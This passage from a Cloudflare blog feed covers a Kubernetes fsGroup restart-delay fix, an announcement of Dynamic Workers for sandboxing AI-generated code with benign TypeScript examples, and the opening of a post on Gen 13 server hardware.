            <pre><code>[operation_generator.go:664] "MountVolume.MountDevice succeeded for volume \"pvc-94b75052-8d70-4c67-993a-9238613f3b99\" (UniqueName: \"kubernetes.io/csi/rook-ceph-nvme.rbd.csi.ceph.com^0001-000e-rook-ceph-nvme-0000000000000002-a6163184-670f-422b-a135-a1246dba4695\") pod \"atlantis-0\" (UID: \"83089f13-2d9b-46ed-a4d3-cba885f9f48a\") device mount path \"/state/var/lib/kubelet/plugins/kubernetes.io/csi/rook-ceph-nvme.rbd.csi.ceph.com/d42dcb508f87fa241a49c4f589c03d80de2f720a87e36932aedc4c07840e2dfc/globalmount\"" pod="atlantis/atlantis-0"
[pod_workers.go:1298] "Error syncing pod, skipping" err="unmounted volumes=[atlantis-storage], unattached volumes=[], failed to process volumes=[]: context deadline exceeded" pod="atlantis/atlantis-0" podUID="83089f13-2d9b-46ed-a4d3-cba885f9f48a"
[util.go:30] "No sandbox for pod can be found. Need to start a new one" pod="atlantis/atlantis-0"</code></pre>
            <p>The last two messages looped several times until eventually we observed the pod actually start up properly.</p><p>So <code>kubelet</code> thinks that the pod is otherwise ready to go, but it's not starting it and something's timing out.</p>
    <div>
      <h3>The missing piece</h3>
      <a href="#the-missing-piece">
        
      </a>
    </div>
    <p>The lowest-level logs we had on the pod didn't show us what's going on. What else do we have to look at? Well, the last message before it hangs is the PV being mounted onto the node. Ordinarily, if the PV has issues mounting (e.g. due to still being stuck mounted on another node), that will bubble up as an event. But something's still going on here, and the only thing we have left to drill down on is the PV itself. So I plug that into Kibana, since the PV name is unique enough to make a good search term... and immediately something jumps out:</p>
            <pre><code>[volume_linux.go:49] Setting volume ownership for /state/var/lib/kubelet/pods/83089f13-2d9b-46ed-a4d3-cba885f9f48a/volumes/kubernetes.io~csi/pvc-94b75052-8d70-4c67-993a-9238613f3b99/mount and fsGroup set. If the volume has a lot of files then setting volume ownership could be slow, see https://github.com/kubernetes/kubernetes/issues/69699</code></pre>
            <p>Remember how I said at the beginning we'd just run out of inodes? In other words, we have a <i>lot</i> of files on this PV. When the PV is mounted, <code>kubelet</code> is running <code>chgrp -R</code> to recursively change the group on every file and folder across this filesystem. No wonder it was taking so long — that's a ton of entries to traverse even on fast flash storage!</p><p>The pod's <code>spec.securityContext</code> included <code>fsGroup: 1</code>, which ensures that processes running under GID 1 can access files on the volume. Atlantis runs as a non-root user, so without this setting it wouldn’t have permission to read or write to the PV. The way Kubernetes enforces this is by recursively updating ownership on the entire PV <i>every time it's mounted</i>.</p>
    <div>
      <h3>The fix</h3>
      <a href="#the-fix">
        
      </a>
    </div>
    <p>Fixing this was heroically...boring. Since version 1.20, Kubernetes has supported an additional field on <code>pod.spec.securityContext</code> called <code>fsGroupChangePolicy</code>. This field defaults to <code>Always</code>, which leads to the exact behavior we see here. It has another option, <code>OnRootMismatch</code>, to only change permissions if the root directory of the PV doesn't have the right permissions. If you don’t know exactly how files are created on your PV, do not set <code>fsGroupChangePolicy</code>: <code>OnRootMismatch</code>. We checked to make sure that nothing should be changing the group on anything in the PV, and then set that field: </p>
            <pre><code>spec:
  template:
    spec:
      securityContext:
        fsGroupChangePolicy: OnRootMismatch</code></pre>
            <p>Now, it takes about 30 seconds to restart Atlantis, down from the 30 minutes it was when we started.</p><p>Default Kubernetes settings are sensible for small volumes, but they can become bottlenecks as data grows. For us, this one-line change to <code>fsGroupChangePolicy</code> reclaimed nearly 50 hours of blocked engineering time per month. This was time our teams had been spending waiting for infrastructure changes to go through, and time that our on-call engineers had been spending responding to false alarms. That’s roughly 600 hours a year returned to productive work, from a fix that took longer to diagnose than deploy.</p><p>Safe defaults in Kubernetes are designed for small, simple workloads. But as you scale, they can slowly become bottlenecks. If you’re running workloads with large persistent volumes, it’s worth checking whether recursive permission changes like this are silently eating your restart time. Audit your <code>securityContext</code> settings, especially <code>fsGroup</code> and <code>fsGroupChangePolicy</code>. <code>OnRootMismatch</code> has been available since v1.20.</p><p>Not every fix is heroic or complex, and it’s usually worth asking “why does the system behave this way?”</p><p>If debugging infrastructure problems at scale sounds interesting, <a href="https://cloudflare.com/careers"><u>we’re hiring</u></a>. Come join us on the <a href="https://community.cloudflare.com/"><u>Cloudflare Community</u></a> or our <a href="https://discord.cloudflare.com/"><u>Discord</u></a> to talk shop.</p> ]]></content:encoded>
            <category><![CDATA[Kubernetes]]></category>
            <category><![CDATA[Terraform]]></category>
            <category><![CDATA[Platform Engineering]]></category>
            <category><![CDATA[Infrastructure]]></category>
            <category><![CDATA[SRE]]></category>
            <guid isPermaLink="false">6bSk27AUeu3Ja7pTySyy0t</guid>
            <dc:creator>Braxton Schafer</dc:creator>
        </item>
        <item>
            <title><![CDATA[Sandboxing AI agents, 100x faster]]></title>
            <link>https://blog.cloudflare.com/dynamic-workers/</link>
            <pubDate>Tue, 24 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ We’re introducing Dynamic Workers, which allow you to execute AI-generated code in secure, lightweight isolates. This approach is 100 times faster than traditional containers, enabling millisecond startup times for AI agent sandboxing. ]]></description>
            <content:encoded><![CDATA[ <p>Last September we introduced <a href="https://blog.cloudflare.com/code-mode/"><u>Code Mode</u></a>, the idea that agents should perform tasks not by making tool calls, but instead by writing code that calls APIs. We've shown that simply converting an MCP server into a TypeScript API can <a href="https://www.youtube.com/watch?v=L2j3tYTtJwk"><u>cut token usage by 81%</u></a>. We demonstrated that Code Mode can also operate <i>behind</i> an MCP server instead of in front of it, creating the new <a href="https://blog.cloudflare.com/code-mode-mcp/"><u>Cloudflare MCP server that exposes the entire Cloudflare API with just two tools and under 1,000 tokens</u></a>.</p><p>But if an agent (or an MCP server) is going to execute code generated on-the-fly by AI to perform tasks, that code needs to run somewhere, and that somewhere needs to be secure. You can't just <code>eval() </code>AI-generated code directly in your app: a malicious user could trivially prompt the AI to inject vulnerabilities.</p><p>You need a <b>sandbox</b>: a place to execute code that is isolated from your application and from the rest of the world, except for the specific capabilities the code is meant to access.</p><p>Sandboxing is a hot topic in the AI industry. For this task, most people are reaching for containers. Using a Linux-based container, you can start up any sort of code execution environment you want. Cloudflare even offers <a href="https://developers.cloudflare.com/containers/"><u>our container runtime</u></a> and <a href="https://developers.cloudflare.com/sandbox/"><u>our Sandbox SDK</u></a> for this purpose.</p><p>But containers are expensive and slow to start, taking hundreds of milliseconds to boot and hundreds of megabytes of memory to run. You probably need to keep them warm to avoid delays, and you may be tempted to reuse existing containers for multiple tasks, compromising the security.</p><p><b>If we want to support consumer-scale agents, where every end user has an agent (or many!) and every agent writes code, containers are not enough. We need something lighter.</b></p><h6>And we have it.</h6>
    <div>
      <h2>Dynamic Worker Loader: a lean sandbox</h2>
      <a href="#dynamic-worker-loader-a-lean-sandbox">
        
      </a>
    </div>
    <p>Tucked into our Code Mode post in September was the announcement of a new, experimental feature: the Dynamic Worker Loader API. This API allows a Cloudflare Worker to instantiate a new Worker, in its own sandbox, with code specified at runtime, all on the fly.</p><p><b>Dynamic Worker Loader is now in open beta, available to all paid Workers users.</b></p><p><a href="https://developers.cloudflare.com/workers/runtime-apis/bindings/worker-loader/"><u>Read the docs for full details</u></a>, but here's what it looks like:</p>
            <pre><code>// Have your LLM generate code like this.
let agentCode: string = `
  export default {
    async myAgent(param, env, ctx) {
      // ...
    }
  }
`;

// Get RPC stubs representing APIs the agent should be able
// to access. (This can be any Workers RPC API you define.)
let chatRoomRpcStub = ...;

// Load a worker to run the code, using the worker loader
// binding.
let worker = env.LOADER.load({
  // Specify the code.
  compatibilityDate: "2026-03-01",
  mainModule: "agent.js",
  modules: { "agent.js": agentCode },

  // Give agent access to the chat room API.
  env: { CHAT_ROOM: chatRoomRpcStub },

  // Block internet access. (You can also intercept it.)
  globalOutbound: null,
});

// Call RPC methods exported by the agent code.
await worker.getEntrypoint().myAgent(param);
</code></pre>
            <p>That's it.</p>
    <div>
      <h3>100x faster</h3>
      <a href="#100x-faster">
        
      </a>
    </div>
    <p>Dynamic Workers use the same underlying sandboxing mechanism that the entire Cloudflare Workers platform has been built on since its launch, eight years ago: isolates. An isolate is an instance of the V8 JavaScript execution engine, the same engine used by Google Chrome. They are <a href="https://developers.cloudflare.com/workers/reference/how-workers-works/"><u>how Workers work</u></a>.</p><p>An isolate takes a few milliseconds to start and uses a few megabytes of memory. That's around 100x faster and 10x-100x more memory efficient than a typical container.</p><p><b>That means that if you want to start a new isolate for every user request, on-demand, to run one snippet of code, then throw it away, you can.</b></p>
    <div>
      <h3>Unlimited scalability</h3>
      <a href="#unlimited-scalability">
        
      </a>
    </div>
    <p>Many container-based sandbox providers impose limits on global concurrent sandboxes and rate of sandbox creation. Dynamic Worker Loader has no such limits. It doesn't need to, because it is simply an API to the same technology that has powered our platform all along, which has always allowed Workers to seamlessly scale to millions of requests per second.</p><p>Want to handle a million requests per second, where <i>every single request</i> loads a separate Dynamic Worker sandbox, all running concurrently? No problem!</p>
    <div>
      <h3>Zero latency</h3>
      <a href="#zero-latency">
        
      </a>
    </div>
    <p>One-off Dynamic Workers usually run on the same machine — the same thread, even — as the Worker that created them. No need to communicate around the world to find a warm sandbox. Isolates are so lightweight that we can just run them wherever the request landed. Dynamic Workers are supported in every one of Cloudflare's hundreds of locations around the world.</p>
    <div>
      <h3>It's all JavaScript</h3>
      <a href="#its-all-javascript">
        
      </a>
    </div>
    <p>The only catch, vs. containers, is that your agent needs to write JavaScript.</p><p>Technically, Workers (including dynamic ones) can use Python and WebAssembly, but for small snippets of code — like that written on-demand by an agent — JavaScript will load and run much faster.</p><p>We humans tend to have strong preferences on programming languages, and while many love JavaScript, others might prefer Python, Rust, or countless others.</p><p>But we aren't talking about humans here. We're talking about AI. AI will write any language you want it to. LLMs are experts in every major language. Their training data in JavaScript is immense.</p><p>JavaScript, by its nature on the web, is designed to be sandboxed. It is the correct language for the job.</p>
    <div>
      <h3>Tools defined in TypeScript</h3>
      <a href="#tools-defined-in-typescript">
        
      </a>
    </div>
    <p>If we want our agent to be able to do anything useful, it needs to talk to external APIs. How do we tell it about the APIs it has access to?</p><p>MCP defines schemas for flat tool calls, but not programming APIs. OpenAPI offers a way to express REST APIs, but it is verbose, both in the schema itself and the code you'd have to write to call it.</p><p>For APIs exposed to JavaScript, there is a single, obvious answer: TypeScript.</p><p>Agents know TypeScript. TypeScript is designed to be concise. With very few tokens, you can give your agent a precise understanding of your API.</p>
            <pre><code>// Interface to interact with a chat room.
interface ChatRoom {
  // Get the last `limit` messages of the chat log.
  getHistory(limit: number): Promise&lt;Message[]&gt;;

  // Subscribe to new messages. Dispose the returned object
  // to unsubscribe.
  subscribe(callback: (msg: Message) =&gt; void): Promise&lt;Disposable&gt;;

  // Post a message to chat.
  post(text: string): Promise&lt;void&gt;;
}

type Message = {
  author: string;
  time: Date;
  text: string;
}
</code></pre>
            <p>Compare this with the equivalent OpenAPI spec (which is so long you have to scroll to see it all):</p><pre>
openapi: 3.1.0
info:
  title: ChatRoom API
  description: &gt;
    Interface to interact with a chat room.
  version: 1.0.0

paths:
  /messages:
    get:
      operationId: getHistory
      summary: Get recent chat history
      description: Returns the last `limit` messages from the chat log, newest first.
      parameters:
        - name: limit
          in: query
          required: true
          schema:
            type: integer
            minimum: 1
      responses:
        "200":
          description: A list of messages.
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: "#/components/schemas/Message"

    post:
      operationId: postMessage
      summary: Post a message to the chat room
      requestBody:
        required: true
        content:
          application/json:
            schema:
              type: object
              required:
                - text
              properties:
                text:
                  type: string
      responses:
        "204":
          description: Message posted successfully.

  /messages/stream:
    get:
      operationId: subscribeMessages
      summary: Subscribe to new messages via SSE
      description: &gt;
        Opens a Server-Sent Events stream. Each event carries a JSON-encoded
        Message object. The client unsubscribes by closing the connection.
      responses:
        "200":
          description: An SSE stream of new messages.
          content:
            text/event-stream:
              schema:
                description: &gt;
                  Each SSE `data` field contains a JSON-encoded Message object.
                $ref: "#/components/schemas/Message"

components:
  schemas:
    Message:
      type: object
      required:
        - author
        - time
        - text
      properties:
        author:
          type: string
        time:
          type: string
          format: date-time
        text:
          type: string
</pre><p>We think the TypeScript API is better. It's fewer tokens and much easier to understand (for both agents and humans).  </p><p>Dynamic Worker Loader makes it easy to implement a TypeScript API like this in your own Worker and then pass it in to the Dynamic Worker either as a method parameter or in the env object. The Workers Runtime will automatically set up a <a href="https://blog.cloudflare.com/capnweb-javascript-rpc-library/"><u>Cap'n Web RPC</u></a> bridge between the sandbox and your harness code, so that the agent can invoke your API across the security boundary without ever realizing that it isn't using a local library.</p><p>That means your agent can write code like this:</p>
            <pre><code>// Thinking: The user asked me to summarize recent chat messages from Alice.
// I will filter the recent message history in code so that I only have to
// read the relevant messages.
let history = await env.CHAT_ROOM.getHistory(1000);
return history.filter(msg =&gt; msg.author == "alice");
</code></pre>
            
    <div>
      <h3>HTTP filtering and credential injection</h3>
      <a href="#http-filtering-and-credential-injection">
        
      </a>
    </div>
    <p>If you prefer to give your agents HTTP APIs, that's fully supported. Using the <code>globalOutbound</code> option to the worker loader API, you can register a callback to be invoked on every HTTP request, in which you can inspect the request, rewrite it, inject auth keys, respond to it directly, block it, or anything else you might like.</p><p>For example, you can use this to implement <b>credential injection</b> (token injection): When the agent makes an HTTP request to a service that requires authorization, you add credentials to the request on the way out. This way, the agent itself never knows the secret credentials, and therefore cannot leak them.</p><p>Using a plain HTTP interface may be desirable when an agent is talking to a well-known API that is in its training set, or when you want your agent to use a library that is built on a REST API (the library can run inside the agent's sandbox).</p><p>With that said, <b>in the absence of a compatibility requirement, TypeScript RPC interfaces are better than HTTP:</b></p><ul><li><p>As shown above, a TypeScript interface requires far fewer tokens to describe than an HTTP interface.</p></li><li><p>The agent can write code to call TypeScript interfaces using far fewer tokens than equivalent HTTP.</p></li><li><p>With TypeScript interfaces, since you are defining your own wrapper interface anyway, it is easier to narrow the interface to expose exactly the capabilities that you want to provide to your agent, both for simplicity and security. With HTTP, you are more likely implementing <i>filtering</i> of requests made against some existing API. This is hard, because your proxy must fully interpret the meaning of every API call in order to properly decide whether to allow it, and HTTP requests are complicated, with many headers and other parameters that could all be meaningful. It ends up being easier to just write a TypeScript wrapper that only implements the functions you want to allow.</p></li></ul>
    <div>
      <h3>Battle-hardened security</h3>
      <a href="#battle-hardened-security">
        
      </a>
    </div>
    <p>Hardening an isolate-based sandbox is tricky, as it is a more complicated attack surface than hardware virtual machines. Although all sandboxing mechanisms have bugs, security bugs in V8 are more common than security bugs in typical hypervisors. When using isolates to sandbox possibly-malicious code, it's important to have additional layers of defense-in-depth. Google Chrome, for example, implemented strict process isolation for this reason, but it is not the only possible solution.</p><p>We have nearly a decade of experience securing our isolate-based platform. Our systems automatically deploy V8 security patches to production within hours — faster than Chrome itself. Our <a href="https://blog.cloudflare.com/mitigating-spectre-and-other-security-threats-the-cloudflare-workers-security-model/"><u>security architecture</u></a> features a custom second-layer sandbox with dynamic cordoning of tenants based on risk assessments. <a href="https://blog.cloudflare.com/safe-in-the-sandbox-security-hardening-for-cloudflare-workers/"><u>We've extended the V8 sandbox itself</u></a> to leverage hardware features like MPK. We've teamed up with (and hired) leading researchers to develop <a href="https://blog.cloudflare.com/spectre-research-with-tu-graz/"><u>novel defenses against Spectre</u></a>. We also have systems that scan code for malicious patterns and automatically block them or apply additional layers of sandboxing. And much more.</p><p>When you use Dynamic Workers on Cloudflare, you get all of this automatically.</p>
    <div>
      <h2>Helper libraries</h2>
      <a href="#helper-libraries">
        
      </a>
    </div>
    <p>We've built a number of libraries that you might find useful when working with Dynamic Workers: </p>
    <div>
      <h3>Code Mode</h3>
      <a href="#code-mode">
        
      </a>
    </div>
    <p><a href="https://www.npmjs.com/package/@cloudflare/codemode"><code>@cloudflare/codemode</code></a> simplifies running model-generated code against AI tools using Dynamic Workers. At its core is <code>DynamicWorkerExecutor()</code>, which constructs a purpose-built sandbox with code normalisation to handle common formatting errors, and direct access to a <code>globalOutbound</code> fetcher for controlling <code>fetch()</code> behaviour inside the sandbox — set it to <code>null</code> for full isolation, or pass a <code>Fetcher</code> binding to route, intercept or enrich outbound requests from the sandbox.</p>
            <pre><code>const executor = new DynamicWorkerExecutor({
  loader: env.LOADER,
  globalOutbound: null, // fully isolated 
});

const codemode = createCodeTool({
  tools: myTools,
  executor,
});

return generateText({
  model,
  messages,
  tools: { codemode },
});
</code></pre>
            <p>The Code Mode SDK also provides two server-side utility functions. <code>codeMcpServer({ server, executor })</code> wraps an existing MCP Server, replacing its tool surface with a single <code>code()</code> tool. <code>openApiMcpServer({ spec, executor, request })</code> goes further: given an OpenAPI spec and an executor, it builds a complete MCP Server with <code>search()</code> and <code>execute()</code> tools as used by the Cloudflare MCP Server, and better suited to larger APIs.</p><p>In both cases, the code generated by the model runs inside Dynamic Workers, with calls to external services made over RPC bindings passed to the executor.</p><p><a href="https://www.npmjs.com/package/@cloudflare/codemode"><u>Learn more about the library and how to use it.</u></a> </p>
    <div>
      <h3>Bundling</h3>
      <a href="#bundling">
        
      </a>
    </div>
    <p>Dynamic Workers expect pre-bundled modules. <a href="https://www.npmjs.com/package/@cloudflare/worker-bundler"><code>@cloudflare/worker-bundler</code></a> handles that for you: give it source files and a <code>package.json</code>, and it resolves npm dependencies from the registry, bundles everything with <code>esbuild</code>, and returns the module map the Worker Loader expects.</p>
            <pre><code>import { createWorker } from "@cloudflare/worker-bundler";

const worker = env.LOADER.get("my-worker", async () =&gt; {
  const { mainModule, modules } = await createWorker({
    files: {
      "src/index.ts": `
        import { Hono } from 'hono';
        import { cors } from 'hono/cors';

        const app = new Hono();
        app.use('*', cors());
        app.get('/', (c) =&gt; c.text('Hello from Hono!'));
        app.get('/json', (c) =&gt; c.json({ message: 'It works!' }));

        export default app;
      `,
      "package.json": JSON.stringify({
        dependencies: { hono: "^4.0.0" }
      })
    }
  });

  return { mainModule, modules, compatibilityDate: "2026-01-01" };
});

await worker.getEntrypoint().fetch(request);
</code></pre>
            <p>It also supports full-stack apps via <code>createApp</code> — bundle a server Worker, client-side JavaScript, and static assets together, with built-in asset serving that handles content types, ETags, and SPA routing.</p><p><a href="https://www.npmjs.com/package/@cloudflare/worker-bundler"><u>Learn more about the library and how to use it.</u></a></p>
    <div>
      <h3>File manipulation</h3>
      <a href="#file-manipulation">
        
      </a>
    </div>
    <p><a href="https://www.npmjs.com/package/@cloudflare/shell"><code>@cloudflare/shell</code></a> gives your agent a virtual filesystem inside a Dynamic Worker. Agent code calls typed methods on a <code>state</code> object — read, write, search, replace, diff, glob, JSON query/update, archive — with structured inputs and outputs instead of string parsing.</p><p>Storage is backed by a durable <code>Workspace</code> (SQLite + R2), so files persist across executions. Coarse operations like <code>searchFiles</code>, <code>replaceInFiles</code>, and <code>planEdits</code> minimize RPC round-trips — the agent issues one call instead of looping over individual files. Batch writes are transactional by default: if any write fails, earlier writes roll back automatically.</p>
            <pre><code>import { Workspace } from "@cloudflare/shell";
import { stateTools } from "@cloudflare/shell/workers";
import { DynamicWorkerExecutor, resolveProvider } from "@cloudflare/codemode";

const workspace = new Workspace({
  sql: this.ctx.storage.sql, // Works with any DO's SqlStorage, D1, or custom SQL backend
  r2: this.env.MY_BUCKET, // large files spill to R2 automatically
  name: () =&gt; this.name   // lazy — resolved when needed, not at construction
});

// Code runs in an isolated Worker sandbox with no network access
const executor = new DynamicWorkerExecutor({ loader: env.LOADER });

// The LLM writes this code; `state.*` calls dispatch back to the host via RPC
const result = await executor.execute(
  `async () =&gt; {
    // Search across all TypeScript files for a pattern
    const hits = await state.searchFiles("src/**/*.ts", "answer");
    // Plan multiple edits as a single transaction
    const plan = await state.planEdits([
      { kind: "replace", path: "/src/app.ts",
        search: "42", replacement: "43" },
      { kind: "writeJson", path: "/src/config.json",
        value: { version: 2 } }
    ]);
    // Apply atomically — rolls back on failure
    return await state.applyEditPlan(plan);
  }`,
  [resolveProvider(stateTools(workspace))]
);</code></pre>
            <p>The package also ships prebuilt TypeScript type declarations and a system prompt template, so you can drop the full <code>state</code> API into your LLM context in a handful of tokens.</p><p><a href="https://www.npmjs.com/package/@cloudflare/shell"><u>Learn more about the library and how to use it.</u></a></p>
    <div>
      <h2>How are people using it?</h2>
      <a href="#how-are-people-using-it">
        
      </a>
    </div>
    
    <div>
      <h4>Code Mode</h4>
      <a href="#code-mode">
        
      </a>
    </div>
    <p>Developers want their agents to write and execute code against tool APIs, rather than making sequential tool calls one at a time. With Dynamic Workers, the LLM generates a single TypeScript function that chains multiple API calls together, runs it in a Dynamic Worker, and returns the final result back to the agent. As a result, only the output, and not every intermediate step, ends up in the context window. This cuts both latency and token usage, and produces better results, especially when the tool surface is large.</p><p>Our own <a href="https://github.com/cloudflare/mcp-server-cloudflare">Cloudflare MCP server</a> is built exactly this way: it exposes the entire Cloudflare API through just two tools — search and execute — in under 1,000 tokens, because the agent writes code against a typed API instead of navigating hundreds of individual tool definitions.</p>
    <div>
      <h4>Building custom automations </h4>
      <a href="#building-custom-automations">
        
      </a>
    </div>
    <p>Developers are using Dynamic Workers to let agents build custom automations on the fly. <a href="https://www.zite.com/"><u>Zite</u></a>, for example, is building an app platform where users interact through a chat interface — the LLM writes TypeScript behind the scenes to build CRUD apps, connect to services like Stripe, Airtable, and Google Calendar, and run backend logic, all without the user ever seeing a line of code. Every automation runs in its own Dynamic Worker, with access to only the specific services and libraries that the endpoint needs.</p><blockquote><p><i>“To enable server-side code for Zite’s LLM-generated apps, we needed an execution layer that was instant, isolated, and secure. Cloudflare’s Dynamic Workers hit the mark on all three, and out-performed all of the other platforms we benchmarked for speed and library support. The NodeJS compatible runtime supported all of Zite’s workflows, allowing hundreds of third party integrations, without sacrificing on startup time. Zite now services millions of execution requests daily thanks to Dynamic Workers.” </i></p><p><i>— </i><b><i>Antony Toron</i></b><i>, CTO and Co-Founder, Zite </i></p></blockquote>
    <div>
      <h4>Running AI-generated applications</h4>
      <a href="#running-ai-generated-applications">
        
      </a>
    </div>
    <p>Developers are building platforms that generate full applications from AI — either for their customers or for internal teams building prototypes. With Dynamic Workers, each app can be spun up on demand, then put back into cold storage until it's invoked again. Fast startup times make it easy to preview changes during active development. Platforms can also block or intercept any network requests the generated code makes, keeping AI-generated apps safe to run.</p>
    <div>
      <h2>Pricing</h2>
      <a href="#pricing">
        
      </a>
    </div>
    <p>Dynamically-loaded Workers are priced at $0.002 per unique Worker loaded per day (as of this post’s publication), in addition to the usual CPU time and invocation pricing of regular Workers.</p><p>For AI-generated "code mode" use cases, where every Worker is a unique one-off, this means the price is $0.002 per Worker loaded (plus CPU and invocations). This cost is typically negligible compared to the inference costs to generate the code.</p><p>During the beta period, the $0.002 charge is waived. As pricing is subject to change, please always check our Dynamic Workers <a href="https://developers.cloudflare.com/dynamic-workers/pricing/"><u>pricing</u></a> for the most current information. </p>
    <div>
      <h2>Get Started</h2>
      <a href="#get-started">
        
      </a>
    </div>
    <p>If you’re on the Workers Paid plan, you can start using <a href="https://developers.cloudflare.com/dynamic-workers/">Dynamic Workers</a> today. </p>
    <div>
      <h4>Dynamic Workers Starter</h4>
      <a href="#dynamic-workers-starter">
        
      </a>
    </div>
    <a href="https://deploy.workers.cloudflare.com/?url=https://github.com/cloudflare/agents/tree/main/examples/dynamic-workers"><img src="https://deploy.workers.cloudflare.com/button" /></a>
<p></p>
<p>Use this “hello world” <a href="https://github.com/cloudflare/agents/tree/main/examples/dynamic-workers">starter</a> to get a Worker deployed that can load and execute Dynamic Workers. </p>
    <div>
      <h4>Dynamic Workers Playground</h4>
      <a href="#dynamic-workers-playground">
        
      </a>
    </div>
    <a href="https://deploy.workers.cloudflare.com/?url=https://github.com/cloudflare/agents/tree/main/examples/dynamic-workers-playground"><img src="https://deploy.workers.cloudflare.com/button" /></a>
<p></p><p>You can also deploy the <a href="https://github.com/cloudflare/agents/tree/main/examples/dynamic-workers-playground">Dynamic Workers Playground</a>, where you’ll be able to write or import code, bundle it at runtime with <code>@cloudflare/worker-bundler</code>, execute it through a Dynamic Worker, see real-time responses and execution logs. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/32d0ficYALnSneKc4jZPja/0d4d07d747fc14936f16071714b7a8e5/BLOG-3243_2.png" />
          </figure><p>Dynamic Workers are fast, scalable, and lightweight. <a href="https://discord.com/channels/595317990191398933/1460655307255578695"><u>Find us on Discord</u></a> if you have any questions. We’d love to see what you build!</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/mQOJLnMtXULmj6l3DgKZg/ef2ee4cef616bc2d9a7caf35df5834f5/BLOG-3243_3.png" />
          </figure><p></p> ]]></content:encoded>
            <category><![CDATA[MCP]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Agents]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">1tc7f8AggVLw5D8OmaZri5</guid>
            <dc:creator>Kenton Varda</dc:creator>
            <dc:creator>Sunil Pai</dc:creator>
            <dc:creator>Ketan Gupta</dc:creator>
        </item>
        <item>
            <title><![CDATA[Inside Gen 13: how we built our most powerful server yet]]></title>
            <link>https://blog.cloudflare.com/gen13-config/</link>
            <pubDate>Mon, 23 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare's Gen 13 servers introduce AMD EPYC™ Turin 9965 processors and a transition to 100 GbE networking to meet growing traffic demands. In this technical deep dive, we explain the engineering rationale behind each major component selection. ]]></description>
            <content:encoded><![CDATA[ <p>A few months ago, Cloudflare announced <a href="https://blog.cloudflare.com/20-percent-internet-upgrade/"><u>the transition to FL2</u></a>, our Rust-based rewrite of Cloudflare's core request handling layer. This transition accelerates our ability to help build a better Internet for everyone. With the migration in the software stack, Cloudflare has refreshed our server hardware design with improved hardware capabilities and better efficiency to serve the evolving demands of our network and software stack. Gen 13 is designed with 192-core AMD EPYC™ Turin 9965 processor, 768 GB of DDR5-6400 memory, 24 TB of PCIe 5.0 NVMe storage, and dual 100 GbE port network interface card.</p><p>Gen 13 delivers:</p><ul><li><p>Up to 2x throughput compared to Gen 12 while staying within latency SLA</p></li><li><p>Up to 50% improvement in performance / watt efficiency, reducing data center expansion costs</p></li><li><p>Up to 60% higher throughput per rack keeping rack power budget constant</p></li><li><p>2x memory capacity, 1.5x storage capacity, 4x network bandwidth</p></li><li><p>Introduced PCIe encryption hardware support in addition to memory encryption</p></li><li><p>Improved support for thermally demanding powerful drop-in PCIe accelerators</p></li></ul><p>This blog post covers the engineering rationale behind each major component selection: what we evaluated, what we chose, and why.</p><table><tr><td><p>Generation</p></td><td><p>Gen 13 Compute</p></td><td><p>Previous Gen 12 Compute</p></td></tr><tr><td><p>Form Factor</p></td><td><p>2U1N, Single socket</p></td><td><p>2U1N, Single socket</p></td></tr><tr><td><p>Processor</p></td><td><p>AMD EPYC™ 9965 
Turin 192-Core Processor</p></td><td><p>AMD EPYC™ 9684X 
Genoa-X 96-Core Processor</p></td></tr><tr><td><p>Memory</p></td><td><p>768GB of DDR5-6400 x12 memory channel</p></td><td><p>384GB of DDR5-4800 x12 memory channel</p></td></tr><tr><td><p>Storage</p></td><td><p>x3 E1.S NVMe</p><p>
</p><p> Samsung PM9D3a 7.68TB / 
Micron 7600 Pro 7.68TB</p></td><td><p>x2 E1.S NVMe </p><p>
</p><p>Samsung PM9A3 7.68TB / 
Micron 7450 Pro 7.68TB</p></td></tr><tr><td><p>Network</p></td><td><p>Dual 100 GbE OCP 3.0 </p><p>
</p><p>Intel Ethernet Network Adapter E830-CDA2 /
NVIDIA Mellanox ConnectX-6 Dx</p></td><td><p>Dual 25 GbE OCP 3.0</p><p>
</p><p>Intel Ethernet Network Adapter E810-XXVDA2 / 
NVIDIA Mellanox ConnectX-6 Lx</p></td></tr><tr><td><p>System Management</p></td><td><p>DC-SCM 2.0 ASPEED AST2600 (BMC) + AST1060 (HRoT)</p></td><td><p>DC-SCM 2.0 ASPEED AST2600 (BMC) + AST1060 (HRoT)</p></td></tr><tr><td><p>Power Supply</p></td><td><p>1300W, Titanium Grade</p></td><td><p>800W, Titanium Grade</p></td></tr></table>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2Gawj2GP8s2CCZCWwNgBiB/587b0ed5ef65cf95cf178e5457150b6a/image3.png" />
          </figure><p><i><sup>Figure: Gen 13 server</sup></i></p>
    <div>
      <h2>CPU</h2>
      <a href="#cpu">
        
      </a>
    </div>
    <table><tr><td><p>Gen 12</p></td><td><p>AMD EPYC™ 9684X Genoa-X 96-Core (400W TDP, 1152 MB L3 Cache)</p></td></tr><tr><td><p>Gen 13</p></td><td><p>AMD EPYC™ 9965 Turin Dense 192-Core (500W TDP, 384 MB L3 Cache)</p></td></tr></table><p>During the design phase, we evaluated several 5th generation AMD EPYC™ Processors, code-named Turin, in Cloudflare’s hardware lab: AMD Turin 9755, AMD Turin 9845, and AMD Turin 9965. The table below summarizes the differences in <a href="https://www.amd.com/content/dam/amd/en/documents/epyc-business-docs/datasheets/amd-epyc-9005-series-processor-datasheet.pdf"><u>specifications</u></a> of the candidates for Gen 13 servers against the AMD Genoa-X 9684X used in our <a href="https://blog.cloudflare.com/gen-12-servers/"><u>Gen 12 servers</u></a>. Notably, all three candidates offer increases in core count but with smaller L3 cache per core. However, with the <a href="https://blog.cloudflare.com/20-percent-internet-upgrade/"><u>migration to FL2</u></a>, the new workloads are <a href="https://blog.cloudflare.com/gen13-launch/"><u>less dependent on L3 cache and scale up well with the increased core count to achieve up to 100% increase in throughput</u></a>.</p><p>The three CPU candidates are designed to target different use cases: AMD Turin 9755 offers superior per-core performance, AMD Turin 9965 trades per-core performance for efficiency, and AMD Turin 9845 trades core count for lower socket power. We evaluated three CPUs in the production 